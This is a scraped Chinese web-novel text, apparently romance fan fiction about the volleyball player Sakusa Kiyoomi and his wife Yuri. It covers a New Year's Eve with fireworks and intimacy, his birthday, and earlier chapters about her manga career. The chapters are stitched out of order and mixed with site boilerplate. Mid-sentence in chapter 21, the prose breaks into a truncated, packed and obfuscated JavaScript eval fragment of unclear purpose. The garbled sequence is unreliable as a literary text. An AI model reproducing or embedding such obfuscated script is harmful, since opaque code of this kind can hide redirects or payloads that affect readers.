这是一条介绍线香花火的四个阶段的视频:其中花火刚点燃的时候火光微弱,这一形态被称作“花蕾”;火花渐渐扩大,变成花朵的形状,这一形态被称作“牡丹”;火花变得更大更多,也因为重力向下延展,变得散碎,这一形态被称作“松叶”;到了最后,花火渐渐熄灭,火花绽开的范围也缩减回去,这一形态被称为“散菊”。 不管是哪一种形态在黑暗的背景中看起来都非常美丽,加之人们为花火的四种形态赋予了映射人生四个阶段的意义,使得由里眼中花火的姿态更加动人。 由里不禁感叹道:“原来会放的人可以放得这麽久还这麽漂亮。” 佐久早点点头表示认同:“确实很厉害。” 他们一起继续阅读着能够查阅到的数据,直到由里被一个标题吸引了视线。 “两个人一起比赛放线香花火的时候,花火后熄灭的人许下的愿望一定会实现。” 佐久早看了看她:“现在我们的技术都精进了,你想比赛吗?” “当然可以!”由里飞速加入了战局,顺便补充了一句,“我们两个谁的愿望能实现都很好。” 话虽如此,她看起来比任何人都在意结果,从最开始点火的时候就强烈要求佐久早绝不能抢跑,然后紧张兮兮地看着自己的花火从“花蕾”变成“牡丹”,接着再变成…… 跃动的火花再次向下坠去,眼看着火光就要黯淡下去,由里凄惨地哀号了一声。 佐久早的花火还在正常地燃烧着,他好笑地看了看她,捏着花火的手指松开了。 花火飞快地掉到地上,刚才的火光完全熄灭了,只能看见一点白烟。 “你赢了。”他的嘴角弯弯的,眼睛也弯弯的,看起来不像输掉的人,更像是由里的意中人。 幸好由里的这位意中男子正是她的恋人,甚至已经和由里结婚了!可是…… “这样的话就不是公平竞争了,”由里义正言辞地说,“臣臣你身为职业选手要有体育精神才可以。” 佐久早满不在乎地看了看掉在地上已经彻底熄灭的花火:“体育精神不是友谊第一比赛第二吗?” …… 不愧是顶尖选手,他说得完全没错。 由里踌躇片刻还是说出了心中所想:“虽然真的是这样,但是从佐久早选手的嘴里听到这样的话也太奇怪了——臣臣不是那种想要把一切做到尽善尽美也期待着因此获胜的人吗?” 佐久早撇了撇嘴,低下头同她凑近了:“刚才不是你让我遵循体育精神的吗?现在又觉得奇怪,到底怎麽样更好?” 知道自己很帅的帅哥实在是太可怕了,每当佐久早有所图,他就会极尽张扬地展示他没有死角的脸。这对一个喜欢美丽的脸的人来说实在是难以抗拒,由里干巴巴地说:“那个……都挺好的。” 佐久早的表情缓和多了,但还是保持着贴近的距离:“而且我想知道你的愿望,不行吗?” 亲都亲过那麽多次了,在这个距离下观看佐久早还是如此让人脸红心跳。由里视死如归地喊出了自己心中所愿:“我希望臣臣可以一直健康!” 佐久早也绷不住直起身来笑了:“就这样?我本来就会一直认真地照顾好自己的身体的,而且现在来看你更需要变得健康。换成关于你自己的愿望吧?” 由里这回认真地想了想:“那……我想一直和你在一起。” 佐久早也正色回应:“你的愿望一定会实现的。” 一束光突然把他们的脸都照亮了。 随后是烟花盛放的声音。 他们都有些惊讶,目光转向远处的天空。还有很多烟花在不断腾空。 漆黑的夜幕被瞬间点亮,烟花的光辉如同流星一般划破天际,四散开来。正如他们刚才共同燃放的花火被染上了颜色,放大呈现到了空中。 “好漂亮!”由里说,她喃喃自语的音量在烟花接连不断的爆炸声中听起来并不那麽清晰。 佐久早问:“什麽?” 烟花还在持续升起,短暂却无比闪耀。佐久早还是听不清由里的声音,却可以看得清她的口型。 她在爆裂声中安静地说:“我爱你。” 他们凑得比之前更近了些,随后相拥。两个人的外衣上都有些凉意,由里冷得打了个颤。 佐久早打开玻璃门,房间里的暖气扑面而来,他一面吻着她往里走,一面把自己的外套脱掉,同时还不忘把外套挂在了专门用来挂外穿服装的挂鈎上。 由里随着他的动作进了门,想要像他一样把带着寒意的外衣脱下,这才发现刚才拿着花火的手上现在已经空空荡荡。 佐久早还要继续亲她,由里却稍微错开了脸:“掉到地上了。” “我的也掉了啊,”佐久早又在她嘴角啄了一口,顺便把她已经解开的衣服脱掉也挂到了衣鈎上,“等一下我会收拾的。” 他们再次紧紧相拥,这一次没有厚重的衣服将他们的心跳相隔。 由里圈着他的脖子在他嘴唇上印下一片吻,随后打趣道:“运动员的心率原来也可以这麽快啊。” “你以前不知道?”佐久早把她抱起来些在沙发上放下,倾身同她一起深陷在沙发柔软的靠垫里,“每一次为了互换接吻的时候,你在我身体里不是都会心跳很快吗?” “你全都知道?”由里的脸顿时烧红了,“换回去之后也能感觉到吗?” 佐久早笑着点点头:“交换花费的时间连一秒都没有,要我不知道除非我心脏骤停。” 由里愣了一下,赶紧用吻封住了他的嘴:“别乱说。” 看她小心翼翼地关心自己让人心情很好,佐久早顺遂了她的心意:“我不说了……不过你真的从那麽早就开始喜欢我了?” 严格来说,那时候会紧张只是* 因为他太帅了,但是喜欢是更加郑重的情感,要创建在更深刻的了解上才可以,于是由里向他解读道:“那个不是喜欢……” 佐久早的眉头蹙了一下。 由里没注意到他的神色变化,还在继续说:“那个是因为……” 还没等由里展开描述,他就再次吻了上去。不只是唇舌,这回他连牙齿都开始不避开她了。由里还是第一次知道一向吻她吻得温柔谨慎的佐久早还有这样的一面。 由里本来就因为害羞发红的脸因为呼吸受阻涨得更是通红,她的嘴唇也经过他的舔吻和啮咬变得晶莹红润。至于她本人,她在接连的攻势下只能在换气的间隙断断续续地叫他的名字。 就是要这样才好——只看着他,只叫他的名字,不可以说不喜欢他。【你现在阅读的是 】 第 42 章【VIP】 第42章 新年快乐? 佐久早把由里的羊毛开衫直接扔到地上的时候,她才明白他可能生气了。 可是为什麽生气?因为她说了最初的心动不能等同于郑重的喜欢吗? 她还没说完呢,她可太冤枉了! 佐久早好不容易把她从亲吻中释放出来——因为他需要脱掉她那件套头穿的内搭——由里抓住机会想要为自己辩解一番:“但也不是说臣臣不好的意思,我只是……” 佐久早再次将她的衣服随手一扔。她的衣角挂到了茶几上的水杯,差点把水杯也带到地上。但是佐久早看都没看那个可怜的杯子一眼,只是继续咬上她的嘴。 平心而论,佐久早是一个非常温柔且富有技巧的伴侣,他精力旺盛但是为了伴侣的身体能够承受总是非常克制,而且认真注视着对方反应来调整节奏的他真的很迷人,但是此时此刻好像不是享受的时候。 由里还想再说,但佐久早只是再次用嘴唇堵她的嘴。 由里深深陷在沙发里,耳边只能听到衣料和布料摩擦的声音,还有当佐久早吻上她的时候可以听到唇齿相交带来的水声。 整个过程中,佐久早始终和由里相对着,但是这一次不只是因为他需要观测她的反应来把控进度和力道,很大程度上是因为他准备让她一句话也说不出来。 只要由里一张嘴,他就吻她。她就连因为冲撞被激出来的喘息都只能被亲吻堵回去,更不要说有什麽空隙去说一句完整的话了。 没人说过臣臣这麽小气啊! 由里起初还试着把他推开些好让自己输送只言片语,但是被他打断的次数太多,最后她干脆放弃了,就只是攀上他的肩膀,或者用双臂环抱住他的腰。佐久早对此很受用,于是给了她更多的吻。 等到这段深入却沉默到不可思议的情事结束,窗外再次响起了烟花声。 他们刚才进来的时候没有拉上窗帘,所以此时此刻外面属于烟花的,五光十色的光芒可以非常轻易地勾勒出他们两人的轮廓。 由里也因此接着彩色的光看到一直处于黑暗中无法看清的佐久早的表情。他看起来和平时没有太大的区别——实际上他总是那样没有表情的——只是身上出了一层薄汗,眼神在刚才的过程结束之后短暂地失焦了片刻。 他从她身上起来,离开了沙发。 由里的身体还因为方才的余韵轻微地打着颤。佐久早很讨厌大汗淋漓的感觉,所以由里的第一反应是他可能是要去洗澡了。不过如果他真的那麽做的话,在一个跨年夜对伴侣未免太残忍了吧? 她想了一下要不要叫住他,可是如果他真的只为了一点误会对她如此冷淡的话……她也不要让步了! 没错,他要是凶她,她就凶回去,他要是和她冷战,那她也不要和他说话了——她再喜欢一个人也是有底线的! 在她在心里激烈地讨伐着表现得很坏的臣臣的时候,佐久早只是拿来一条毛毯把她整个人裹了起来。 他把自己的短袖上衣也穿好,接着再次陷入到她身侧的沙发里,隔着毛毯拥抱她,亲吻着她的侧脸。 这下由里也不知道该怎麽办了。 她只想好了要怎麽吵架,还没想好要是臣臣主动求和的话她要怎麽回应他呢。 窗外的烟花短暂地停顿了一会就又开始燃放,这一次持续的时间比他们在阳台上第一次看到烟花的时候长多了。 或许是因为这时候说话太小声会让人听不到,而佐久早又习惯不了太大声说话,他只是靠近她的耳朵,嘴唇轻轻蹭到由里的耳垂上:“冷吗?” 由里摇摇头。身体出了汗又一下脱离了他的怀抱时确实有些冷,但是此时此刻被裹成这样就像抱住了一个小火炉。 确定了她的身体状况尚佳,佐久早并没有马上离开她,只是很轻柔地捋顺了她的头发,在这期间有一搭没一搭地在她脸颊和头发上印上轻柔的吻。 由里静静地享受着他的服务,直到心跳平静下来,自己的意识完全回到自己身上,身体的感受也回归正常的水平。 等烟花的声音终于落下,由里听到佐久早对她说:“对不起。” “为什麽这麽说?”刚才是无名火,现在又是不知道来由的道歉,由里只有脑袋露在毛毯外面,像遇到不解的问题的白鼬那样——或许两个人相爱久了就会越来越相似吧——她转动脑袋,茫然地看着他。 佐久早解释起来有点磕磕绊绊:“因为我听到你说不喜欢我的反应有点……幼稚。” 佐久早圣臣居然会反省自己,还说自己有点幼稚。 这一幕实在是太新鲜了,以至于由里对此本来就不算多麽顽固的不快很快就消散殆尽,她只是垂着眼低低地笑起来:“对于一个幼稚的人来说臣臣的水平好像太高了。” 或许是因为听到由里还在打趣自己,佐久早也稍微放松了点,他也几不可察地笑了一声,把她的下巴捧起来不让她往别处乱看:“虽然知道你感觉不错对我来说很好,但是你明明知道我说的不是那方面的。” 刚才一句话都不让由里说的人是他,现在捧着她脸让她必须和自己调到同一频道进行对话的也是他。 由里的脸颊肉在他的掌心里被捂得暖洋洋:“臣臣嘴上说着自己幼稚,可是根本就没有要改的意思。” 佐久早的脸又和她贴近了。 由里迅速像鸵鸟把头埋进地里一样把自己的头埋进了佐久早选手雕塑一般的胸肌里:“臣臣不要再亲我了我真的累了!” 佐久早抬起手轻轻搓搓她的耳垂,语气变得有点委屈:“你不仅以前不喜欢我,现在对我的感情也进入倦怠期了。” “臣臣我真的冤枉啊!”由里哀嚎了一声,她发现此时此刻这个鸵鸟姿势可以保证自己完整地表达不被亲吻打断,于是就这样继续说了下去,“我只是觉得光看脸的喜欢不能算是喜欢才那麽说的,我怎麽会不喜欢你呢?” 由于他们现在贴在一起,由里能感觉到佐久早的身体很明显地僵了一下。 没想到吧? 怎麽有人连这个都想不到啊! 佐久早过了一会才说:“你刚才怎麽不说?” …… 这难道是她的错吗? 由里不无恼怒地从他怀里直起身瞪了他一眼:“臣臣你最好不是认真在问这个问题,我……” 她剩下的话又被佐久早的嘴唇堵回嘴里了。 由里的心中一下闪过很多词条。 什麽“知名排球选手仗美色行凶”都太温和了,得用“V联盟著名国手对其爱人实施诈骗使其丧失表达能力”这种级别的才足够攻击到不好好道歉只会撒娇耍赖的佐久早圣臣。 佐久早也知道她确实累了,这一次的吻只是浅尝辄止,没有维持太长时间。 他只是把手伸进毛毯里,让这一次的拥抱不必因为毛毯相隔开来:“我爱你。” “我也爱你,臣臣,”由里感觉他的手臂暴露在空气里有点凉凉的,干脆把他也卷进毯子里,“但是这不是用来道歉的话。” 佐久早小心地看了看她有没有露在毯子外面才继续说:“那……由里,新年快乐?” “祝福也不可以算作道歉……等一下,已经到新年了?”刚才由里并没来得及看时间,都没有注意到这一点,现在她打开手机看到屏幕上时间早就过了零点,日期的数字已经翻页到了新年的1月1日。 佐久早笑了笑:“是啊,不然刚才那麽多的烟花都只是为了庆祝我们的相爱的吗?” 由里熄灭了屏幕靠在他肩膀上:“这是我们在一起之后的第一个跨年夜,确实值得庆祝呀。” “以后还会有很多值得庆祝的节日。” “对!很快情人节就要到了,还有白色情人节,在那之后还有臣臣的生日。” 说到这个,佐久早突然面露难色:“我没怎麽庆祝过生日。” 由里抬起头看他:“哎?为什麽?” 他的眉头由于对往事的追忆皱了起来:“刚升上初中的时候元也叫了排球部的同学一起来帮我庆祝生日,其中一个人把奶油抹到我的脸上了。” 由里顿时明白了,这对佐久早来说确实是不堪的经历,他连能够保证卫生情况的手作的食物都不会吃,更何况是有人直接触碰了食物还抹到他的脸上? “在那之后就……没有庆祝过了吗?” “其实还是有几次的,不过是非常小范围的——升上高中之后认识了二年级的饭纲学长,因为他是一个非常整洁的人,有他组织的话很让人安心,所以答应了和部员们一起庆祝。不如说那一年所有的生日庆祝仪式都有参加。” “饭纲选手一定是一位非常厉害的人!所以到了高中就重新开始过生日了吗?” 佐久早猛摇头道:“不,也只有那一次而已,饭纲学长毕业之后,我就每次庆祝前都假装感冒逃走了。” 由里想了想佐久早一脸严肃地通知队友“我明天会感冒”的样子就觉得很好笑:“臣臣这样的健康状态一年假装很多次感冒完全没人会相信吧。” 佐久早恐怕也心知肚明吧。但是他说:“但总之也没有人来管我。” 由里表示了理解:“大家都习惯了呢。” “到了俱乐部之后,大家约好了不会互送礼物,防止因为礼物的价值不同产生负担。” “好像是很合理的约定,这样也不会影响队友之间的关系了。” “嗯,一直都遵守着,所以都只是和别人互相送了祝福。” 由里点了点头:“不过今年……” 佐久早心领神会地主动提议:“我们会一起庆祝吧?” “当然啦。”她说。【你现在阅读的是 】 第43章【正文完】 第43章 春天就在此时降临。 这一年的春天很温暖,三月末的东京已经遍地是开放的樱花。 佐久早走在井闼山高中的校园里,此时此刻也站在一棵樱花树下。 他并不是在欣赏风景,而是被搭讪的女生挡住了脚步,只好停在这里等待着她发表自己想说的话。 女生说得很直白,就好像他们已经认识很久了一样:“佐久早同学,我喜欢你,请和我交往吧!” 佐久早看了看她,又看了看她递给自己的情书,但并没有接过来:“我们认识吗?” 女生并没有因为他的反问而丧气,还是坚持着递出情书的姿势:“嗯……我们可以从交往之后开始认识呀。” “哪有人是这样交往的啊?”佐久早想了想,“我们都不认识,你为什麽喜欢我?” “佐久早同学的优点根本就不需要认识也可以有所了解!”女生像是抓住了机会,十分积极地讲述起来,“佐久早同学非常帅气,这一点根本就无需多说,一看便知!佐久早同学还是排球部的王牌,由此完全可以看出佐久早同学优越的运动神经和自律的人生态度!还有,佐久早同学还很爱干净,走在一个人都没有的路上还会戴口罩!” 佐久早闻言不自觉地调整了一下自己口罩的位置,对此感到有些莫名其妙:“这里不是还有你吗?” 女生愣了一下,但很快找回自己的节奏:“不用这麽在意细节吧,总之佐久早同学就是非常好!” 佐久早莫名其妙地消化着她发射出的对白:“说了这麽多,我还不知道你叫什麽呢。” 女生十分爽朗地微笑了一下,像说广告词那样颇有腔调地自我介绍道:“我叫远藤由里,可以直接叫我的名字由里的。” “我不要,”佐久早摇摇头,“因为远藤同学也没有叫我的名字。” 由里笑了起来:“哎呀臣臣我的胳膊都酸了,你就收下我的情书吧!” 她想走近一些把情书直接塞到佐久早手心里,但是一阵风在这时拂过樱花树的树枝,花瓣因此随风飘落,甚至有一个小小的花苞落在了她的脸颊上。 虽然花苞砸到脸上也是轻柔无害的,但是由里被突如其来的打击感吓了一跳,忍不住叫了出来。 佐久早这才忍不住笑了,立刻把她拉到自己身边,轻轻摘掉落到她头顶的花瓣,把她揽进怀里:“我答应你,我们交往吧。” 由里从他怀里探出头笑盈盈地看着他:“是什麽让臣臣改变心意的呢?” 佐久早在她额头上落下一个吻:“因为我也喜欢你,非常喜欢你。” 由里飞快地结束了对视,把烧红的脸埋在了佐久早的肩膀上:“游戏结束!臣臣实在太迷人了,我的心脏有点压力了!” “游戏早就结束了,我是认真的。”佐久早轻轻搓了搓她的耳垂,“那个信封里是真的有情书吗?” 由里闷闷地说:“当然是真的呀,这是我认真给高中的臣臣准备的生日礼物喔。” 佐久早拥抱着她的手顿时放了下去:“你怎麽给他准备都不给我准备?” 由里有点好笑:“怎麽可能没给臣臣准备?惊喜还在后面呢!” 佐久早嘴上嫌弃着,实则立刻从她手里接过信封打开来看。 信封里是一张明信片,并不是那种景区兜售的风景明信片,而是由里亲手绘制在一张白卡纸上的明信片。 上面画的是穿着井闼山队服的佐久早,他似乎刚结束一场比赛,脖子上挂着毛巾,手里拿着水瓶,护膝褪到脚腕。图像中不只有佐久早一个人,还有他神色激动的队友们。佐久早能辨认出古森,还有他对由里提起来过的饭纲学长。 大家一看就是赢得了比赛的胜利才会如此开心,而其中坐在长椅上休息的佐久早嘴角也挂着浅浅的笑。 他拿在手里看了又看:“我高中的时候真的很像这上面的样子。” “对吧?”由里也对自己的作品非常满意,“我在网上看过以前的比赛录像!臣臣从高中开始就非常光彩夺目了,能画下来很有趣,就好像我也参与了臣臣的高中生活一样——所以就想要送礼物给高中的臣臣了。” 佐久早还在随着她的介绍继续观看着画面的细节:“谢谢你,我很喜欢。” 看过正面,他翻过来看背面,背面也真的写上了表白的内容: “臣臣学长,不管是什麽时期的你对我来说都是又帅气又可爱的最佳恋人,请和我长久地在一起吧!” 在这句话的结尾,由里画了一个大大的爱心。 佐久早点了点头:“是个让人很羡慕的生日礼物。” “臣臣能喜欢就好啦。”由里因为他的话也很开心,“等一下去我订好的餐厅还有更好的礼物呢。” 这就是他们在佐久早的生日全部的行程安排了。 是的,这一天是佐久早的生日。 因为前一天的比赛,他们一起来到了佐久早的东京老家。 没有了互换身体的苦恼,由里现在已经不需要一直随行了,佐久早本来想早点回大阪去和她见面。但是由里主动提出来想要到佐久早曾经生活过的地方看一看,于是就有了高中校园里的那一出戏。 为高中的臣臣过完了生日,弥补了一下他们有过一面之缘却没能在那时相识相知的遗憾,现在该去为现在的臣臣庆祝生日了。 由里精心做过了攻略,这是一家非常干净的餐厅,菜品的评价也非常高。她特意找在东京读过美大的朋友确认过评价的真实度,大家都觉得很不错。 而且她还给佐久早订购了一个小小的蛋糕——她知道佐久早为了身体状态进行了严格的控糖,不会吃很多甜品,所以精心挑选了一个吃起来没有负担但是仍然非常精致漂亮的蛋糕。 蛋糕是蓝莓和蔓越莓口味的,她觉得喜欢吃酸甜口的佐久早应该会喜欢,所以对自己选择的款式非常有信心。 一切都非常顺利地进行下去,但是当佐久早看到这个蛋糕的时候,却说出了她意想不到的话:“我该不会吃到一半发现里面藏着戒指吧?” 由里的脸色瞬间变得痛苦起来。 佐久早正准备放进嘴里的叉子也这样悬在了空中:“真的有?” 他只好为自己找补道:“呃……其实我觉得这样也不错,令人感到非常惊喜。” 他的表情看起来分明就是完全不会接受啊! 不过幸好由里心里有数:“倒是不在蛋糕里,臣臣不会喜欢不干净的食物和不干净的戒指,这我还是知道的。” 佐久早松了口气,只要不是这样他什麽都可以接受:“那为什麽不开心?” “也没有不开心……只是……”由里从包里取出了一只小小的礼盒。 她准备的礼物还真的是一枚戒指。 “这是我想着臣臣的风格看了很多款式之后定制的,上面有我们的名字缩写。” 这是一枚素雅的戒指,主石不算太大,戒壁微宽,看起来落落大方,且很符合佐久早一切从简的风格。 由里知道佐久早并不方便经常戴着戒指,还给他配了一条项链,以便他想要戴着的时候可以以其他的方式戴在身上。 “之前臣臣送给了我求婚戒指,不是还为了这个专门量过了我的指围吗?当时就想着一定要回报臣臣这麽细心为我做的事情,所以我也准备了戒指。希望臣臣以后想到这个生日的时候可以联想到美好的回忆!” 佐久早凝望着他的爱人专门定制的生日礼物,那枚钻戒在餐桌灯光的照耀下熠熠生辉。 他早已经放下餐具,伸出手让由里帮自己戴上。 这枚戒指戴在他手上很合适,戴在脖子上想必也是可以起到很好的装饰效果的,他非常满意。 佐久早戴好了戒指,牵住她的手:“今天真的是很好的生日。” 由里同他十指相扣,这样她可以感受到佐久早无名指上的那枚戒指,她稍微歪歪头问他:“那这是你最好的生日吗?” 佐久早状似认真地思考了一下,就好像他真的在和什麽对比着:“不一定吧,以后还有很多个生日,由里选手的水平应该不会止步于此?” 如果不是比不上过去,而只是在和未来对比,那她就没什麽好担心的啦! 由里当然是狂点头接受了这个预言:“臣臣太懂我了,一下就说出了我的无限潜力!” 晚饭之后,他们一起步行回到酒店。 路边在便利店的灯光下,可以看到在湛蓝夜幕的映衬下粉色的夜樱。 由里喜欢这样的景色,于是指给佐久早看。他没在看着樱花,倒是在看着她本人。 他们牵起手走在这片纷飞的樱花雨里,就像走在时空长廊。在由里的高中时代充满巧合的初遇,在彼此发展事业时不可思议的重逢,这一切如此飞快地过去,而留给他们的是有无限可能的未来。 因为机缘巧合被命运的红绳牵住的两个人,此时此刻并不再需要将他们牵连在一起的魔咒。 春天就在此时降临。 --正文完--【你现在阅读的是 】 21.第 21 章 【古森元也:……】 【古森元也:算了,我还是会祝福你们的。】 佐久早有点无奈地阅读完全部的信息,他有点想关上手机睡觉算了。但是假如他不在今天之内结束对话,说不定明天由里醒来就会看到古森继续发来的新消息,使得他动机不纯的安慰被戳破。 【佐久早圣臣:今天不合适。】 【古森元也:你回来了?】 【古森元也:为什么这么说?】 【古森元也:圣臣你该不会又想用“胳膊感觉怪怪的”这种借口逃避你不想做的事情吧!爱情经不起等待!】 【佐久早圣臣:她不开心。】 【古森元也:喔……那确实是没有办法了……】 【古森元也:你们现在还好吗?】 【佐久早圣臣:还好。】 【佐久早圣臣:晚安。】 【古森元也:好突然,你吊了我一晚上胃口但是就这样自说自话地睡觉了。】 【古森元也:对手的胜利固然让人心寒,表兄弟的冷落更是让人心酸。】 佐久早把关于“表白”的聊天记录删除,放下手机打算睡了。 虽然由里只有在外地比赛有通讯需求的时候才会用他的手机,但是他觉得对于保密这件事还是谨慎一些比较好。 他合上眼,手机屏幕却又亮起来。 【由里:臣臣,谢谢你。】 【臣臣:?】 【臣臣:为了刚才的事吗?】 【由里:刚才的事情也谢谢你!】 【臣臣:我以为你打起精神来就已经算谢过了,所以不是为了刚才的事吗?】 【由里:(图片)】 这张图片是一张聊天记录的截图,图上的字密密麻麻。佐久早觉得阅读起来大概需要一时半刻,于是干脆把台灯打开坐起来些。 他看到顶部的联系人备注,才发现图片上是真希给由里发的消息。 【佐久早真希:我听说了你的事,我很抱歉,是我没有事先了解清楚。】 【佐久早真希:你现在也了解了我们家的情况,其实在我们这样的家庭每个人都只会和知根知底的对象交往的。但是圣臣一直让我们不要随便调查你的隐私……】 【佐久早真希:而且我和圣臣的哥哥都已经结婚了,圣臣又是那种有点孤僻的个性,妈妈爸爸本来就想由着圣臣的心意,所以我们就真的什么都没做。我没想到会导致这样的不愉快。】 【佐久早真希:(图片)】 这张图片由里没有发给他,可能因为她主要想让他看的是前半部分。预览图看不太清楚,佐久早也没有细看,继续阅读真希发来的文字。 【佐久早真希:河村千洋女士说如果你需要联系她可以通过这上面的联系方式。月刊《Afterschool》的樱小路编辑说只要你愿意还是愿意推你的作品上短篇比赛。不管你的决定是什么我觉得应该让你看到。】 这张图片到这里就结束了,佐久早回到聊天界面,看到了由里继续给他发来的信息。 【由里:我和真希姐也说了,不用觉得抱歉,我反而很感激你们能够信任我,没有调查我的事情。】 【臣臣:这只是正常人都应该做的事情,我不喜欢随意刺探别人,就像我不喜欢别人随便调查我。】 【臣臣:顺便问一下,河村千洋女士就是你的生母吗?】 【由里:是的。】 【臣臣:那你会联系她吗?如果你不想说也没关系。】 【由里:最近应该不会,我想专注于我的短篇创作,暂时不分心在其他的事情上!】 【臣臣:所以你还是准备去她那里投稿?】 【由里:嗯,我决定了。】 【由里:我不想为了不愉快的往事放弃现在的机会,各方面都是。】 包括对你也是,她在心里暗暗想道。 【由里:臣臣教练别忘了明天是由里选手参与训练的第一天喔,我们都早点睡吧!】 第二天早上。 “臣臣……臣臣我真的好累啊……我们不能休息一下吗……” “可是我们刚跑了三百米不到啊,”佐久早在她身边,呼吸均匀姿态标准地运动着,“而且这是最平整的一段路,你现在就坚持不了的话等上坡的时候怎么办?” 想变成一个更好的人实在不是一件容易的事啊。由里痛苦地呼吸着。 “你的左手摆臂开始放松了,不要向外摆。”佐久早的声音在此时此刻听起来格外冷酷无情。 由里觉得自己有点不该邀请佐久早来陪自己晨跑,再这么跑几天她亚健康的身体和疯狂上头中的恋爱脑也不知道哪个先被治好。 由里气喘吁吁:“臣臣……这么远的路你都是靠想些什么坚持下来的啊?” 佐久早完全不理解这种心理:“为什么要想事情?跑步就是跑步。你最好不要说话,小心岔气。” 问也白问,忘了他是一心一意的佐久早选手了。 但可能因为习惯了不断地构思画面和故事,由里总是得想着点什么事情才能让自己的生活正常地运转下去的。 为了让自己暂时忽视疲惫,她开始想自己即将投到短篇比赛中的故事。 这是一个时间旅行题材的故事。 诸事不顺的高中生女主角和新来的转学生成为了同桌。这位转学生和她有很多共同话题,于是她们很快就成为了朋友。 神奇的事情发生了,女主角的各种不顺纷纷逆转。 由于新朋友的帮助,她躲开了上学路上疾驰而过的自行车——按原本的路径她绝对会被撞到的。因为新朋友巧妙地发现了一条没有任何人知道的秘密翻墙道路,她偷偷溜出寄宿制的学校,看到了一直想看但因为学校的补课而无法去看的烟火大会。 升学的压力太大,她不得不削减打工时长,眼看饭费就要见底,她的新朋友给她推荐了一家可以花更少时间挣到差不多的工资的便利店,只是需要她朝自己不认识的街区多走一点路。 申请学校前有人要对她递交申请的画作动手脚,新朋友非要约她到学校美术室,说要趁最后的时间再努力一把,于是她及时发现异样保住了自己的作品。 可是在她所有的考试都结束之后,那个朋友却凭空消失了。 她到处寻找她的朋友,但是一无所获。周围的所有人都像记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是对于她的画面,她提出了一个疑问:“其实我之前就想问了,只是没来得及。为什么这样一个很有特色的故事的主角的相貌看起来非常普通呢?我感觉她和其他的角色并没有明显的区分度。” “我希望读者可以更好地代入自己,所以没有把主角设计成一个有鲜明外貌特点的人。” “原来是出于这样的考虑啊。”电话那边的樱小路并没有第一时间进行评价,但是沉思了一会,电话里只剩下双方的设备微弱的底噪。 她继续说:“现在市面上有名的商业漫画作品的主要角色不是都很有特点吗?大家并不会因为自己不戴眼镜就理解不了聪明又冷静的眼镜角色,也不会因为自己没有染发烫头就理解不了性格火爆的爆炸头。把主角设计成很有个性的长相,并不会影响读者共情他们。” 由里联想了许多榜上有名的热门漫画,虽然并没有和樱小路面对面交谈,她还是情不自禁地点了点头:“确实是这样的。” “对吧?”樱小路说,“其实我觉得参考远藤小姐自己的形象来绘制主角就很好,一方面这是高度结合了远藤小姐自身体验的一个故事吧,所以才能让人觉得很真诚,另一方面,远藤小姐的长相很有特点呢。” 由里歪歪头:“我的长相吗?” 22.第 22 章 “远藤小姐很瘦,五官的量感不太大,头发的颜色也不太黑,神情也好声音也好都淡淡的,但是眼睛却非常明亮。”樱小路描述着,由里都有点惊讶于短短几分钟的见面她居然能记住一个人如此多的细节,“对于一个在失落中追寻的角色来说,这不是很合适吗?” 手里还拿着通话中的手机,由里看向了镜子里的自己。 作为一个常年绘画的人,她有自己熟悉的一套绘制外貌的方法,同时也善于去配合不同的作者按照他们的画风作画。但是樱小路的话让她发现,她似乎习惯了美型的画风,虽然能够把每个部位都画得漂亮,但呈现出的结果也有些千篇一律。 因为她渐渐变得很少去关注现实中具备各种特色的五官,就连自己的脸都很少花费时间去观察了。 她不由得有些佩服这位编辑对于画作的高度敏感和热情:“我明白了,樱小路小姐真的很敏锐啊。” “远藤小姐本身的画面基础就很好了,只要把这一点做到我没有什么可以指摘的地方。”樱小路很快赞美道,“还有一件事情我想和远藤小姐商量一下。” “是什么样的事情呢?” “其实我不应该过多地触及远藤小姐的私事,但是毕竟轻舟老师也是我的作者,她请求我帮忙转达一下,当然如果远藤小姐实在不想让我提及也没关系。” 由里沉默了一会:“没事,您说吧。” “我们每一部登上月刊的短篇作品都会邀请人气作者来帮忙写一些推介语,轻舟老师说如果你需要的话她愿意为你的短篇写推介语。”樱小路试图解释,“你也知道轻舟老师是我们的王牌作家,如果她能帮忙的话对于作品的推广也是有一定的好处的,以前她推荐过的一部作品后来就……” “我会考虑一下。”由里打断了她,“现在距离截稿日还有一段时间,可以等我想好再联系您吗?” “当然。”她说。 两人简单寒暄了几句,挂断了电话。 由里躺倒在床上,看着天花板出神。 她不喜欢刚才的对话,她有点想和佐久早打电话了。 他是不是已经在吃午饭了?如果现在打过去他会接吗? 既然有这样的想法,不如验证一下。 她拨通了电话。 “所以你和她见面的话,准备怎么说?” “我还不知道……我既不希望她看到我过得不好,也不希望她以为我这些年过得很好。” “到底哪边更多一点?” “果然还是不想让她看到我过得不好,如果只有她一个人走出来了,我却还在原地,那也太可悲了。” 佐久早点点头,意识到由里在电话的那头根本看不见他的动作,这才说:“那就好办了。” 准备会面的这天,佐久早交换过身体就回到了房间,说是要为了出门专门收拾一下。 过了一会他才出现在由里的房门口:“我准备好了,我们走吧。” 由里以为他所说的“收拾”是要为了去公共场合进行特别的消毒处理,目睹了佐久早的穿着后,由里瞠目结舌。 佐久早穿了一身笔挺的黑色西装,这和他平时穿运动服的样子看起来很不一样。 他健硕的身材虽然被丝滑的衣料完完全全地包裹其中,但其优越的轮廓却丝毫没有被埋没。 而且,世界上简直没有人比佐久早圣臣更适合黑色了。他的卷发像乌黑的绸缎,眼睛更是在常人一众深褐色眼睛中难得一见的纯黑色。这套衣服——当然根据它们的合身程度来看毫无疑问是为他量身定制的——看起来就像是专门为了他存在的一样。 此时此刻他正在打领带,纤长的手指调整着深灰色的领结,让由里觉得自己的眼睛就像是摄影机的镜头,而眼前只有在电影里才能看到的画面居然是真实发生着的。 她张了张嘴但发现喉咙有点干,清了清嗓子才问:“臣臣今天要去参加婚礼吗?” 佐久早打好了领带,摇了摇头,反过来问她:“你在说什么?” 他好帅。 由里停顿了一下才反应过来他说话的内容,通过进一步追问解释了自己的上一个问题:“为什么要穿得这么正式呢?” 佐久早理所当然地说:“因为我要送你去会面啊。” “只是为了这个……需要这么用心准备吗?” “看来你觉得还不错?” “当然了,臣臣完全是完美的,但是……” 